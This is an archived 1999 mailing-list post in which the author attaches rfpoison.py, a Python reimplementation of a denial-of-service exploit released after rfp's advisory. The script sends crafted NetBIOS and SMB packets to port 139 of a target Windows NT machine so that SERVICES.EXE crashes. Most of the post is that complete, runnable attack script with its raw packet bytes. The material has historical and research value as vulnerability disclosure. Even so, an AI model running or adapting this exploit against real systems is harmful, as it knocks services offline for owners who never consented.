--82I3+IH0IqGh5yIs Content-Type: text/plain; charset=us-ascii On Mon, Nov 01, 1999 at 08:07:46AM -0600, .rain.forest.puppy. wrote: > Of course, I'm sure this program will be reversed and a new > version made within 6 hours of posting--but that's not my > problem. Well, it's about 6 hours since I received rfp's advisory. I didn't do much of a reverse engineering job but maybe someone will find this useful for testing other exploits along the same line. The Python code should be portable. I don't have much of a clue about SMB messages. Maybe someone can make it more generic. It works against all the NT machines I tried (probably all SP5). I don't think it works against Win95/98. You may have to run the exploit multiple times before SERVICES.EXE dies. I think this happens with rfp's exploit as well. It is hard to test with the machine rebooting all the time. :) nas --82I3+IH0IqGh5yIs Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="rfpoison.py" #!/usr/bin/env python # # Services.exe DoS # hard work done by: rfpat_private # Python hack by: nasat_private # # This only seems to work on NT. Also, it may have to be run multiple times # before SERVICES.EXE will die. Improvements welcome. # # Usage: rfpoison.py <ip address> import string import struct from socket import * import sys def a2b(s): bytes = map(lambda x: string.atoi(x, 16), string.split(s)) data = string.join(map(chr, bytes), '') return data def b2a(s): bytes = map(lambda x: '%.2x' % x, map(ord, s)) return string.join(bytes, ' ') # NBSS session request nbss_session = a2b(""" 81 00 00 48 20 43 4b 46 44 45 4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43 41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45 42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46 43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00 00 00 """) # SMB stuff crud = ( # SMBnegprot Request """ ff 53 4d 42 72 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b 53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00 """, # SMBsessetupX Request """ ff 53 4d 42 73 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f 55 50 00 55 6e 69 78 00 53 61 6d 62 61 00 """, # SMBtconX Request """ ff 53 4d 42 75 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00 00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56 45 52 5c 49 50 43 24 00 49 50 43 00 """, # SMBntcreateX request """ ff 53 4d 42 a2 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00 07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72 76 73 76 63 00 """, # SMBtrans Request """ ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49 50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00 00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 """, # SMBtrans Request """ ff 53 4d 42 25 00 00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49 50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00 00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00 00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00 5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00 56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 """ ) crud = map(a2b, crud) def smb_send(sock, data, type=0, flags=0): d = struct.pack('!BBH', type, flags, len(data)) #print 'send:', b2a(d+data) sock.send(d+data) def smb_recv(sock): s = sock.recv(4) assert(len(s) == 4) type, flags, length = struct.unpack('!BBH', s) data = sock.recv(length) assert(len(data) == length) #print 'recv:', b2a(s+data) return type, flags, data def nbss_send(sock, data): sock.send(data) def nbss_recv(sock): s = sock.recv(4) assert(len(s) == 4) return s def main(host, port=139): s = socket(AF_INET, SOCK_STREAM) s.connect(host, port) nbss_send(s, nbss_session) nbss_recv(s) for msg in crud[:-1]: smb_send(s, msg) smb_recv(s) smb_send(s, crud[-1]) # no response to this s.close() if __name__ == '__main__': print 'Sending poison...', main(sys.argv[1]) print 'done.' --82I3+IH0IqGh5yIs--
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:09:26 PDT